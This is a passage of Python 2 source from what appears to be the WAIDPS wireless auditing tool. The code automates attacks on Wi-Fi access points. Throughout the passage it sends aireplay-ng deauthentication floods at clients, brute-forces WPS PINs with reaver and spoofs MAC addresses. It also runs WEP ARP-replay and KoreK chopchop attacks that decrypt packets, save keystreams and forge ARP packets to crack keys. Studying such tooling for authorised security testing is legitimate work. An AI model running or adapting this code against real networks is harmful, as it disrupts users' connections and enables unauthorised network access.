                                    cmd = [ "aireplay-ng","-0", str(DAUTHCT),"-a", str(__builtin__.ATTACK_AP_BSSID),"-c", str(CLIENTMAC), str(__builtin__.SELECTED_MON)]
                                    ps = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
                                    lines=ps.communicate()
                                    lines=str(lines).replace("\\r\\n","\t")
                                    lines=str(lines).split("\t")
                                    lines=RearrangeReturn(lines)
                                    NORESULT="1";TCL_ACK=0;TAP_ACK=0
                                    for line in lines:
                                        line=str(line).replace("\n","").replace("\r","")
                                        if line!="":
                                            lina=str(line).replace("\x00","").replace("[","").replace("]","").replace("|"," ").replace("  "," ").replace(" ",",")    
                                            lina=lina+",,,,,,,,,"
                                            LSPLIT=str(lina).split(",")
                                            if len(LSPLIT)>9:
                                                if LSPLIT[5]=="STMAC:" and len(LSPLIT[6])==17 and LSPLIT[9]=="ACKs":
                                                    T_PKTS=int(LSPLIT[2])*2
                                                    CL_ACK=LSPLIT[7]
                                                    TCL_ACK=TCL_ACK + int(CL_ACK)
                                                    if int(CL_ACK)==0:
                                                        CL_ACK=fcolor.BRed + str(CL_ACK)
                                                    AP_ACK=LSPLIT[8]
                                                    TAP_ACK=TAP_ACK+int(AP_ACK)
                                                    if int(AP_ACK)==0:
                                                        AP_ACK=fcolor.BRed + str(AP_ACK)
                                                    printc (" ",fcolor.SGreen + "Packet Sent : " + fcolor.BGreen + str(T_PKTS) + fcolor.SGreen + "\t\tAccess Point [ " + fcolor.SWhite + __builtin__.ATTACK_AP_BSSID + fcolor.SGreen + " ] ACKs : " + fcolor.BGreen + str(AP_ACK) + fcolor.SGreen + "\tClient [ " + fcolor.SWhite + CLIENTMAC + fcolor.SGreen + " ] ACKs : " + fcolor.BGreen + str(CL_ACK),"")
                                                    NORESULT=""
                                    if NORESULT=="1":
                                        printc ("!",fcolor.SRed + "No Result !!","")
                                    else:
                                        MSG=""
                                        if int(TCL_ACK)==0:
                                            MSG=MSG + "No acknowledgement received from Client"    
                                        if int(TAP_ACK)==0:    
                                            if MSG=="":
                                                MSG="No acknowledgement received from Access Point"
                                            else:
                                                MSG="No acknowledgement received from Access Point and Client"
                                        if MSG!="":
                                            printc (" ",fcolor.SRed + MSG,"")
                            else:
                                printc (".",fcolor.SRed + "MAC address removed..","")
                                __builtin__.WPA_DEAUTH_MAC=""
                    elif usr_resp=="F1" or usr_resp=="F" or usr_resp=="7":
                        __builtin__.ProcID=WEPAttackMode("AAP1","","","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="F2":
                        __builtin__.ProcID=WEPAttackMode("AAPC","","","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                    elif usr_resp=="3" or usr_resp=="C":
                        if len(__builtin__.CUR_CLIENT)>0:
                            ListClientFound()
                        else:
                            printc ("!",fcolor.SRed + "No client found !!","")
                    elif usr_resp=="5" or usr_resp=="P":
                        PIN=str(AskQuestion("Enter the WPS PIN to try ",fcolor.SGreen + "8 Digits","N"," ","1")).lstrip().rstrip()
                        if PIN!=" ":
                            if len(PIN)==8:
                                if IsFileDirExist(tmpdir + "WPS_Result.txt")=="F":
                                    DelFile(tmpdir + "WPS_Result.txt","")
                                if IsFileDirExist(__builtin__.WPS_File2)=="F":
                                    DelFile(__builtin__.WPS_File2,"")
                                printc (".",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Trying out WPS PIN [ " + fcolor.BYellow + str(PIN) + fcolor.BPink + " ]...","")
                                cmdLine="xterm -geometry 100x10-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing WPS PIN [" + str(PIN) + "]" + "' -e 'reaver -i " + str(__builtin__.SELECTED_MON) + " -b " + str(__builtin__.ATTACK_AP_BSSID) + str(CH5GHZ) + " --dh-small -a -vv -p " + str(PIN) + " -o " + str(__builtin__.WPS_File2) + " | tee " + tmpdir + "WPS_Result.txt'" 
                                ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
                                __builtin__.ProcID=ps.pid
                                __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                                retkey=""
                            else:
                                printc ("!!!","The PIN entered must be exactly 8 digits !!","")
                    elif usr_resp=="4" or usr_resp=="S":
                        ListClientFound()
                        Result=ChangeMACAddr(__builtin__.SELECTED_ATK,__builtin__.SELECTED_IFACE,__builtin__.SELECTED_MON)
                        DelFile (tmpdir + "tmp-capture*.*","")
                        KillAllMonitor()
                        printc (".",fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Starting WPS Attack for Access Point [ " + fcolor.SYellow +str(TargetMAC) + fcolor.BGreen + " ]..","")
                        cmdLine="xterm -geometry 100x20-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Sniffing Packet' -e 'airodump-ng --bssid " + TargetMAC  + " -c" + str(TargetChannel) + " -w " + tmpdir + "tmp-capture" + " " + str(__builtin__.SELECTED_ATK) + " | tee " + tmpdir + "SNIF_RESULT.txt" + "'"
                        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
                        __builtin__.Sniffer=ps.pid
                        cmdLine="xterm -geometry 100x10-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Auditing WPS [" + str(TargetMAC) + "' -e 'reaver -i " + str(__builtin__.SELECTED_ATK) + " -b " + str(__builtin__.ATTACK_AP_BSSID) + str(CH5GHZ) + " -c " + str(__builtin__.ATTACK_AP_CH) + " -a -vv --dh-small --win7 -o " + str(__builtin__.WPS_File) + " | tee " + tmpdir + "WPS_Result.txt'" 
                        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
                        __builtin__.ProcID=ps.pid
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                        __builtin__.ProcID=WEPAttackMode("AAPC","","","1")
                        __builtin__.ProcIDList.append (str(__builtin__.ProcID))
                        DelFile (tmpdir + "tmp-capture*.cap","")
                    elif usr_resp=="6" or usr_resp=="L":
                        OptInfoDisplay("","1")
                    elif usr_resp=="9" or usr_resp=="R":
                        printc ("i",fcolor.BGreen + "Restarting Monitoring process .....","")
                        KillSubProc(str(__builtin__.ReaverID))
                        KillAllMonitor()
                        LineBreak()
                        AttackWPSProc(TargetMAC,TargetChannel,ClentList,Auto)
                        return
                else:
                    retkey=""
            NEWCLIENT=GetClientFromCSV (tmpdir + "tmp-capture-01.csv")
            if len(NEWCLIENT)>0:
                __builtin__.CUR_CLIENT=__builtin__.NEW_CLIENT
                ClentList=__builtin__.NEW_CLIENT
                __builtin__.CUR_CLIENT_FS=__builtin__.NEW_CLIENT_FS
                __builtin__.CUR_CLIENT_LS=__builtin__.NEW_CLIENT_LS
                __builtin__.CUR_CLIENT_PWR=__builtin__.NEW_CLIENT_PWR
                __builtin__.CUR_CLIENT_DATA=__builtin__.NEW_CLIENT_DATA
                __builtin__.CUR_CLIENT_PROBE=__builtin__.NEW_CLIENT_PROBE
         
    print ""
    KillSubProc(str(__builtin__.ReaverID))
    KillAllMonitor()
    ShutDownAuditingWindows()
    KillSubProc(__builtin__.Sniffer)
    DisplayComplete(__builtin__.TStart)
    DelFile(tmpdir + "tmp-capture*.*","")
    LineBreak()
    printc ("x","","")
    if __builtin__.LIVE_MON=="":
        OptAuditing("")
    return

def TimerApp(cmdLine,DelaySeconds,ShowDisplay):
    import os
    returncode=-1
    if ShowDisplay=="":
        ShowDisplay="0"
    if DelaySeconds=="":
        DelaySeconds=5
    if cmdLine!="":
        if ShowDisplay=="1":
            printc (" ",fcolor.SGreen + "Running command line [ " + fcolor.SRed + cmdLine + fcolor.SGreen + " ] ....","")
        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE, preexec_fn=os.setsid)	
        pid=ps.pid
        if str(ps.communicate()[0])!="":
            __builtin__.TIMER_RET = ps.communicate()[0].split("\n")
        print "PS : " + str(ps.communicate()[0])
        if ShowDisplay=="1":
            printc (" ",fcolor.SGreen + "PID : " + fcolor.SRed + str(pid) + fcolor.SGreen + "","")
            printc (" ",fcolor.SGreen + "Delay for [ " + fcolor.SRed + str(DelaySeconds) + fcolor.SGreen + " ] seconds ....","")
        time.sleep(DelaySeconds)
        if ShowDisplay=="1":
            printc (" ",fcolor.SGreen + "Killing PID [ " + fcolor.SRed + str(pid) + fcolor.SGreen + " ] ....","")
        os.killpg(pid, signal.SIGTERM)
        returncode = ps.wait()
        if ShowDisplay=="1":
            printc (" ",fcolor.SGreen + "Returncode of subprocess [ " + fcolor.SRed + str(returncode) + fcolor.SGreen + " ] ....","")
    return returncode;

def RearrangeReturn(sLine):
    x=0
    tmplist=[]
    while x<len(sLine):
        tline=sLine[x]
        tl=int(len(tline))
        if tl>0:
            nx=tline.rfind("\\r",0,tl)
            if nx>0:
                nx=nx+2
                nline=tline[nx:]
                tmplist.append (str(nline))
        x += 1
    return tmplist

def GetClientFromCSV(sFile):
    tmpfile=tmpdir + "tmp.csv"
    FOUNDCLIENTS=[]
    FoundClient=""
    __builtin__.NEW_CLIENT=[]
    __builtin__.NEW_CLIENT_FS=[]
    __builtin__.NEW_CLIENT_LS=[]
    __builtin__.NEW_CLIENT_PWR=[]
    __builtin__.NEW_CLIENT_DATA=[]
    __builtin__.NEW_CLIENT_PROBE=[]
    open(tmpfile,"wb").write("" )
    if IsFileDirExist(sFile)=="F":
        with open(sFile,"r") as f:
            for line in f:
                line=line.replace("\n","").replace("\00","")
                if line!="":
                    open(tmpfile,"a+b").write(str(line) + "\n")
                if line.find("Station MAC, First time seen, Last time seen")!=-1:
                   FoundClient="1"
                if FoundClient=="" and line.find("BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key")==-1 and line.find("Station MAC, First time seen, Last time seen")==-1:
                    SPLITDATA=str(line).split(",")
                    if len(SPLITDATA[0])==17:
                        __builtin__.ATTACK_AP_BSSID=str(SPLITDATA[0]).lstrip().rstrip()
                        __builtin__.ATTACK_AP_FS=str(SPLITDATA[1]).lstrip().rstrip()
                        __builtin__.ATTACK_AP_LS=str(SPLITDATA[2]).lstrip().rstrip()
                        __builtin__.ATTACK_AP_CH==str(SPLITDATA[3]).lstrip().rstrip()
                        __builtin__.ATTACK_AP_PRIVACY=str(SPLITDATA[5].lstrip().rstrip())
                        __builtin__.ATTACK_AP_CIPHER=str(SPLITDATA[6]).lstrip().rstrip()
                        __builtin__.ATTACK_AP_AUTH=str(SPLITDATA[7]).lstrip().rstrip()
                        SPLITDATA[8]=str(SPLITDATA[8]).lstrip().rstrip()
                        if str(SPLITDATA[8])!="0" and str(SPLITDATA[8])!="-1":
                            __builtin__.ATTACK_AP_PWR=str(SPLITDATA[8])
                        __builtin__.ATTACK_AP_BEACON=str(SPLITDATA[9]).lstrip().rstrip()
                        __builtin__.ATTACK_AP_DATA=str(SPLITDATA[10]).lstrip().rstrip()
                        __builtin__.ATTACK_AP_ESSID=str(SPLITDATA[13]).lstrip().rstrip()
                if FoundClient=="1" and line.find("Station MAC, First time seen, Last time seen")==-1:
                    if len(line)>20:
                        ClientDetail=str(line).split(",")
                        if len(ClientDetail[0])==17:
                            if str(FOUNDCLIENTS).find(ClientDetail[0])==-1:
                                FOUNDCLIENTS.append (ClientDetail[0])
                                __builtin__.NEW_CLIENT.append (str(ClientDetail[0]))
                                __builtin__.NEW_CLIENT_FS.append (str(ClientDetail[1]))
                                __builtin__.NEW_CLIENT_LS.append (str(ClientDetail[2]))
                                __builtin__.NEW_CLIENT_PWR.append (str(ClientDetail[3]))
                                __builtin__.NEW_CLIENT_DATA.append (str(ClientDetail[4]))
                                PROBE_DETAIL=""
                                if len(ClientDetail)>5:
                                    PROBE_DETAIL=str(ClientDetail[6])
                                    PROBE_DETAIL=str(PROBE_DETAIL).lstrip().rstrip()
                                __builtin__.NEW_CLIENT_PROBE.append (str(PROBE_DETAIL))
                                
    return FOUNDCLIENTS;

def RerunCapturedFile(TargetMAC,TargetChannel):
    __builtin__.ATTACK_AP_PDATA=""
    __builtin__.ATTACK_AP_PBEACON=""
    CHECKFS=""
    TargetMAC2=str(TargetMAC).replace(":","")
    __builtin__.WEP_File=tmpdir + "WEP_" + str(TargetMAC2) + "_TMP-" + "*.cap"
    os.chdir(tmpdir)
    FName=tmpdir + "WEP_" + str(TargetMAC2) + "_TMP"
    __builtin__.WEPKeyFile=FName + "_KEY.txt"
    FFILE=[]
    FFILE=glob.glob(__builtin__.WEP_File)
    FFILE=sorted(FFILE,reverse=True)
    __builtin__.ListNum="01"
    if len(FFILE)>0:
        LastFile=FFILE[0]
        lFile=len(LastFile)
        lFile=lFile-6
        __builtin__.ListNum=LastFile[lFile:-4]
        __builtin__.ListNum=int(__builtin__.ListNum)+1
        __builtin__.ListNum=str(__builtin__.ListNum).zfill(2)
    printc (".",fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Restarting new Sniffer for Access Point [ " + fcolor.SYellow +str(TargetMAC) + fcolor.SGreen + " ]..","")
    cmdLine="xterm -geometry 100x20-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Sniffing Packet' -e 'airodump-ng --bssid " + TargetMAC  + " -c" + str(TargetChannel) + " -w " + FName + " " + str(__builtin__.SELECTED_ATK) + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
    __builtin__.Sniffer=ps.pid
    ps=subprocess.Popen("iwconfig " + str(__builtin__.SELECTED_ATK) + " channel " + str(TargetChannel) + " > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
    ps.wait();ps.stdout.close()
    __builtin__.CapFile=FName + "-" + str(__builtin__.ListNum) + ".cap"
    t=0
    if CHECKFS=="":
        print ""
        FS=0
        NW=Now()
        while FS<240:
            if IsFileDirExist(FName + "-" + str(__builtin__.ListNum) + ".csv")=="F": 
                statinfo = os.stat(FName + "-" + str(__builtin__.ListNum) + ".csv")
                FS=statinfo.st_size
            else:
                FS=0
            PrintText=fcolor.BBlue + str(NW) + " - " +  "Locating Access Point [ " + fcolor.BYellow + __builtin__.ATTACK_AP_BSSID + fcolor.BBlue + " ] on Channel " + fcolor.BYellow + __builtin__.ATTACK_AP_CH + fcolor.BBlue + ", Please wait...."
            bcolor=fcolor.SWhite
            pcolor=fcolor.BGreen
            tcolor=fcolor.SGreen
            s=bcolor + "[" + pcolor + str(t) + bcolor + "]" + __builtin__.tabspace + tcolor + PrintText + "\r"
            sl=len(s)-3
            print s,
            sys.stdout.flush()
            time.sleep(1)
            t=t+1
            s=""
            ss="\r"
            print "" + s.ljust(sl) + ss,
            sys.stdout.flush()
            if t>60:
                usr_resp=AskQuestion(fcolor.BGreen + "Access point still not located, continue ?" + fcolor.BGreen,"y/N","U","N","1")
                if usr_resp=="Y":
                    NW=Now()
                    t=1
                else:
                    LineBreak()
                    KillSubProc(__builtin__.Sniffer)
                    DelFile(FName + "*.*","")
                    OptAuditing("")
                    return;
        CHECKFS=statinfo.st_size
    DisplayAPDetail()
    return
    

def AttackWEPProc(TargetMAC,TargetChannel,ClentList):
    __builtin__.ATTACK_AP_PDATA=""
    __builtin__.ATTACK_AP_PBEACON=""
    TODEAUTH=0
    TRY0841=0
    TargetMAC2=str(TargetMAC).replace(":","")
    printc ("i",fcolor.BBlue + "WEP Encryption Auditing","")
    printc (" ",fcolor.SWhite + "Application will send broadcast deauthentication signal to all clients connected to the selected access point and also send targeted deauthentication signal between client and access point if any clients were found connected to the access point.","")
    __builtin__.WEP_File=tmpdir + "WEP_" + str(TargetMAC2) + "_TMP-" + "*.cap"
    os.chdir(tmpdir)
    FName=tmpdir + "WEP_" + str(TargetMAC2) + "_TMP"
    __builtin__.WEPKeyFile=FName + "_KEY.txt"
    FFILE=[]
    FFILE=glob.glob(__builtin__.WEP_File)
    FFILE=sorted(FFILE,reverse=True)
    __builtin__.ListNum="01"
    __builtin__.ProcIDList=[]
    if len(FFILE)>0:
        LastFile=FFILE[0]
        lFile=len(LastFile)
        lFile=lFile-6
        __builtin__.ListNum=LastFile[lFile:-4]
        __builtin__.ListNum=int(__builtin__.ListNum)+1
        __builtin__.ListNum=str(__builtin__.ListNum).zfill(2)
        LEN_WEP_File=len(FFILE)
        print ""
        printc ("i",fcolor.BRed + "Total " + fcolor.BWhite + str(LEN_WEP_File) + fcolor.BRed + " previous captured dump were found. ","")
        printc (" ",fcolor.SWhite + "Continuing with previous dump is useful as it will add on IVs that was previously found to the current one.","")
        printc (" ",fcolor.SWhite + "PS - That is provided encryption key was not changed after the previous capture.\n","")
        ListCapturedFile(TargetMAC2)
        Qus=fcolor.BRed + "1" + fcolor.BGreen + " - New dump  " + fcolor.BRed + "2" + fcolor.BGreen + " - Continue previous dumps"
        usr_resp=AskQuestion(Qus,"1/2 " + fcolor.SWhite + "Default-2","U","2","1")
        if usr_resp!="2":
            FFILE=[]
            DelFile(FName + "*.*","")
            DelFile(__builtin__.WEPKeyFile ,"")
            __builtin__.ListNum="01"
    else:
        DelFile(FName + "*.*","")
        DelFile(__builtin__.WEPKeyFile ,"")
        __builtin__.ListNum="01"
    if len(__builtin__.CUR_CLIENT)>0:
        ListClientFound()
    Result=ChangeMACAddr(__builtin__.SELECTED_ATK,"","")
    LineBreak()
    __builtin__.TStart=Now()
    printc ("i",fcolor.BGreen + "Time Start : " + fcolor.SWhite + str(__builtin__.TStart),"")
    print ""
    printc (".",fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Starting Sniffer for Access Point [ " + fcolor.SYellow +str(TargetMAC) + fcolor.SGreen + " ]..","")
    cmdLine="xterm -geometry 100x20-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Sniffing Packet' -e 'airodump-ng --bssid " + TargetMAC  + " -c" + str(TargetChannel) + " -w " + FName + " " + str(__builtin__.SELECTED_ATK) + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
    __builtin__.Sniffer=ps.pid
    ps=subprocess.Popen("iwconfig " + str(__builtin__.SELECTED_ATK) + " channel " + str(TargetChannel) + " > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
    ps.wait();ps.stdout.close()
    WEP_CRACKED="";WEP_AUTH="";WEP_NOINJ="";CHECKFS="";PIVs2=0;ChopChopProc="0";DecryptedIP="";DecryptedGW="";ARPChopFile="";__builtin__.WEP_ARPFILE="";__builtin__.WEP_ARPFILELIST=[]
    __builtin__.CapFile=FName + "-" + str(__builtin__.ListNum) + ".cap"
    DelFile (FName + "_KorekChopChop.txt","")
    while WEP_CRACKED=="" and WEP_AUTH!="2":
        LineBreak()
        DisplayAPDetail()
        t=0
        retkey=""
        if CHECKFS=="":
            print ""
            FS=0
            NW=Now()
            while FS<240:
                if IsFileDirExist(FName + "-" + str(__builtin__.ListNum) + ".csv")=="F": 
                    statinfo = os.stat(FName + "-" + str(__builtin__.ListNum) + ".csv")
                    FS=statinfo.st_size
                else:
                    FS=0
                PrintText=fcolor.BBlue + str(NW) + " - " +  "Locating Access Point [ " + fcolor.BYellow + __builtin__.ATTACK_AP_BSSID + fcolor.BBlue + " ] on Channel " + fcolor.BYellow + __builtin__.ATTACK_AP_CH + fcolor.BBlue + ", Please wait...."
                bcolor=fcolor.SWhite
                pcolor=fcolor.BGreen
                tcolor=fcolor.SGreen
                s=bcolor + "[" + pcolor + str(t) + bcolor + "]" + __builtin__.tabspace + tcolor + PrintText + "\r"
                sl=len(s)-3
                print s,
                sys.stdout.flush()
                time.sleep(1)
                t=t+1
                s=""
                ss="\r"
                print "" + s.ljust(sl) + ss,
                sys.stdout.flush()
                if t>60:
                    usr_resp=AskQuestion(fcolor.BGreen + "Access point still not located, continue ?" + fcolor.BGreen,"y/N","U","N","1")
                    if usr_resp=="Y":
                        NW=Now()
                        t=1
                    else:
                        LineBreak()
                        KillSubProc(__builtin__.Sniffer)
                        DelFile(FName + "*.*","")
                        OptAuditing("")
                        return;
            CHECKFS=statinfo.st_size
        PIVs=0
        Rate=0
        RateR=0
        PBeacon=0
        __builtin__.ProcIDList=[]
        while WEP_AUTH=="":
            WEP_AUTH=Fake_Auth(TargetMAC,FName + "-" + str(__builtin__.ListNum) + ".csv")
        ATTACK_TYPE="ARP Request Replay"
        if WEP_AUTH=="1":
            printc (".",fcolor.SWhite + Now() + " - " + fcolor.BPink + "Auditing Access Point [ " + fcolor.BYellow +str(TargetMAC) + fcolor.BPink + " ] using " + fcolor.BRed + str(ATTACK_TYPE) + fcolor.BPink + " methods ...","")
            __builtin__.ProcID=WEPAttackMode("ARP_1",FName,"","")
            __builtin__.ProcIDList.append (str(__builtin__.ProcID))
            __builtin__.ProcID=WEPAttackMode("CRACK_WEP",FName,"","")
            __builtin__.ProcIDList.append (str(__builtin__.ProcID))
        Rev=1
        while WEP_AUTH=="1" and WEP_CRACKED=="":
            Result=[]
            NEWCLIENT=GetClientFromCSV (FName + "-" + str(__builtin__.ListNum) + ".csv")
            if len(NEWCLIENT)>0:
                __builtin__.CUR_CLIENT=__builtin__.NEW_CLIENT
                ClentList=__builtin__.NEW_CLIENT
                __builtin__.CUR_CLIENT_FS=__builtin__.NEW_CLIENT_FS
                __builtin__.CUR_CLIENT_LS=__builtin__.NEW_CLIENT_LS
                __builtin__.CUR_CLIENT_PWR=__builtin__.NEW_CLIENT_PWR
                __builtin__.CUR_CLIENT_DATA=__builtin__.NEW_CLIENT_DATA
                __builtin__.CUR_CLIENT_PROBE=__builtin__.NEW_CLIENT_PROBE
            IVs=str(__builtin__.ATTACK_AP_DATA)
            Beacon=str(__builtin__.ATTACK_AP_BEACON)
            SRange=GetSignalRange(__builtin__.ATTACK_AP_PWR)
            printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Captured IVs " + fcolor.BGreen + str(IVs) + fcolor.SGreen + " [Rate " + fcolor.BGreen + str(Rate) + fcolor.SGreen + " IVs/Sec], Beacon : " + fcolor.BGreen + str(__builtin__.ATTACK_AP_BEACON) + fcolor.SGreen + ", AP Power : " + fcolor.BGreen + str(__builtin__.ATTACK_AP_PWR) + fcolor.SGreen + " dBm " + "(" + str (SRange) + fcolor.SGreen + ")" ,"0","")
            cmdLine="ps -eo pid | grep '" + str(__builtin__.Sniffer) + "'"
            ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
            readout=str(ps.stdout.read().replace("\n",""))
            readout=str(readout).lstrip().rstrip()
            ps.wait();ps.stdout.close()
            if str(readout)=="" or readout!=str(__builtin__.Sniffer):
                print "\n\n"
                printc ("!", fcolor.BRed + "[Sniffer Stopped - Restarting]","")
                RerunCapturedFile(TargetMAC,TargetChannel)
            __builtin__.WEP_ARPFILE=CheckARPFile(str(FName) + "_ARPRESULT.txt")
            __builtin__.WEP_ARPFILE=CheckARPFile(str(FName) + "_REPLAY_1.txt")
            __builtin__.WEP_ARPFILE=CheckARPFile(str(FName) + "_REPLAY_2.txt")
            __builtin__.WEP_ARPFILE=CheckARPFile(str(FName) + "_REPLAY_3.txt")
            __builtin__.WEP_ARPFILE=CheckARPFile(str(FName) + "_REPLAY_4A.txt")
            __builtin__.WEP_ARPFILE=CheckARPFile(str(FName) + "_REPLAY_4B.txt")
            __builtin__.WEP_ARPFILE=CheckARPFile(str(FName) + "_REPLAY_5.txt")
            __builtin__.WEP_ARPFILE=CheckARPFile(str(FName) + "_REPLAY_6.txt")
            OutFile=FName + "_KorekChopChop.txt"
            LoopCheck=""
            if IsFileDirExist(OutFile)=="F":
                printl ("\r" + tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Waiting for packets.....Please wait" ,"0","")
                __builtin__.SavedChosen=""
                while LoopCheck=="":
                    while sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
                        usr_resp = sys.stdin.readline()
                        if usr_resp:
                            LineBreak()
                            usr_resp=AskQuestion("Abort ?","y/N","U","N","1")
                            if usr_resp=="Y":
                                LoopCheck="1"
                                DelFile(OutFile,"0")
                                ChopChopProc="0"
                    if IsFileDirExist(OutFile)=="F":
                        with open(OutFile,"r") as f:
                            mline=""
                            tlist=[]
                            for line in f:
                                line=line.replace("\r","").replace("\n","").replace("\00","").replace("\x1b[K","")
                                tlist=str(line).split(" ")
                                if len(line)>8 and len(tlist)>2:
                                    if tlist[0]=="Read":
                                        if tlist[1]!="":
                                            printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Read " + fcolor.BGreen + str(tlist[1]) + fcolor.SGreen + " Packets...." ,"0","")
                                    elif tlist[0]=="Offset":
                                            pline=str(line).replace("Offset ",fcolor.SGreen + "Offset " + fcolor.BGreen).replace("(",fcolor.SGreen + "(" + fcolor.BRed).replace(")",fcolor.SGreen + ")").replace("xor = ", fcolor.SGreen + "XOR = " + fcolor.BYellow).replace("pt =",fcolor.SGreen + "Pt = " + fcolor.BYellow).replace(" frame",fcolor.SGreen + " frame").replace(" in ", " in " + fcolor.BYellow).replace("|",fcolor.SWhite + "|" + fcolor.BGreen).replace("ms",fcolor.SGreen + " ms")
                                            printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + pline ,"0","")
                                            print ""
                                    elif tlist[0]=="Sent":
                                        if tlist[1]!="" and tlist[5]!="":
                                            tlist[5]=str(tlist[5]).replace(".","")
                                            printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Sent " + fcolor.BGreen + str(tlist[1]) + fcolor.SGreen + " Packets....Current " + fcolor.BRed + str(tlist[5]) + fcolor.SGreen + "..." ,"0","")
                                mline=mline + line + "\n"
                                if str(line).find("Saving ARP requests in")!=-1 or str(line).find("Saving chosen packet in")!=-1:
                                    Cat=str(line).split(" ")
                                    if len(Cat)>4:
                                        Result=str(Cat[4])
                                        if Result!="":
                                            if IsFileDirExist(tmpdir + Result)=="F":
                                                __builtin__.WEP_ARPFILELIST=AddIfNotDuplicate(Result,__builtin__.WEP_ARPFILELIST)
                                                __builtin__.SavedChosen=Result
                                                printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Chosen packet saved in " + fcolor.BWhite + str(__builtin__.SavedChosen) + "\n"  ,"0","")
                                if str(line).find("The chopchop attack appears to have failed")!=-1:
                                    print ""
                                    printc ("!!!",fcolor.BRed + "KoreK Chopchop Attack Failed !!!","")
                                    LoopCheck="1"
                                    DelFile(OutFile,"")
                                if str(line).find("Saving plaintext in")!=-1:
                                    __builtin__.SavedDecrypted=tlist[3]
                                    shutil.copy(tmpdir + str(__builtin__.SavedDecrypted),savedir + "DecryptedARP_" + str(__builtin__.ATTACK_AP_BSSID).replace(":","") + ".cap")
                                    __builtin__.SavedDecrypted=savedir + "DecryptedARP_" + str(__builtin__.ATTACK_AP_BSSID).replace(":","") + ".cap"
                                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Decrpyted packet saved in " + fcolor.BWhite + str(__builtin__.SavedDecrypted) + "\n"  ,"0","")
                                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Getting ARP Detail...."  ,"1","")
                                    ps=subprocess.Popen("tcpdump -s 0 -n -e -r " + str(__builtin__.SavedDecrypted) + " | grep -i 'who-has' > " + tmpdir + "tempoutput", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
                                    ps.wait();ps.stdout.close()
                                    if IsFileDirExist(tmpdir + "tempoutput")=="F":
                                        with open(tmpdir + "tempoutput","r") as f:
                                            for line in f:
                                                line=line.replace("\n","").replace("\r","")
                                                loc=str(line).find("who-has")
                                                if loc!=-1:
                                                    loc=loc+8
                                                    sdata=str(line)[loc:].lstrip().rstrip()
                                                    tdata=[]
                                                    tdata=str(sdata).split(" ")
                                                    DecryptedIP=tdata[0]
                                                    DecryptedGW=str(tdata[2]).replace(",","")
                                                    printl (fcolor.BGreen + "Done...\n" ,"1","")
                                                    printc (" ", fcolor.SGreen + "Decrypted IP Addr   : " + fcolor.BYellow + str(DecryptedIP),"")
                                                    printc (" ", fcolor.SGreen + "Decrypted Gateway   : " + fcolor.BYellow + str(DecryptedGW) + "\n","")
                                        if str(DecryptedGW)=="":
                                            printl (fcolor.BRed + "Failed !!\n" ,"1","")
                                    else:
                                        printl (fcolor.BRed + "Failed !!\n" ,"1","")
                                if str(line).find("Saving keystream in")!=-1:
                                    __builtin__.SavedKeyStream=tlist[3]
                                    shutil.copy(tmpdir + str(__builtin__.SavedKeyStream),savedir + "Keystream_" + str(__builtin__.ATTACK_AP_BSSID).replace(":","") + ".xor")
                                    __builtin__.SavedKeyStream=savedir + "Keystream_" + str(__builtin__.ATTACK_AP_BSSID).replace(":","") + ".xor"
                                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.BPink + "Keystream (XOR) packet saved in " + fcolor.BWhite + str(__builtin__.SavedKeyStream) + "\n"  ,"0","")
                                    if DecryptedIP=="":
                                        DecryptedIP="192.168.0.100"
                                    if DecryptedGW=="":
                                        DecryptedGW="192.168.0.1"
                                    printl (tabspacefull + fcolor.SWhite + Now() + " - " + fcolor.SGreen + "Forging ARP Packet with IP as " + fcolor.BYellow + DecryptedIP + fcolor.SGreen + " and Gateway as " + fcolor.BYellow + DecryptedGW + fcolor.SGreen + " ...."  ,"1","")
                                    ARPChopFile=tmpdir + "Chopchop.cap"   
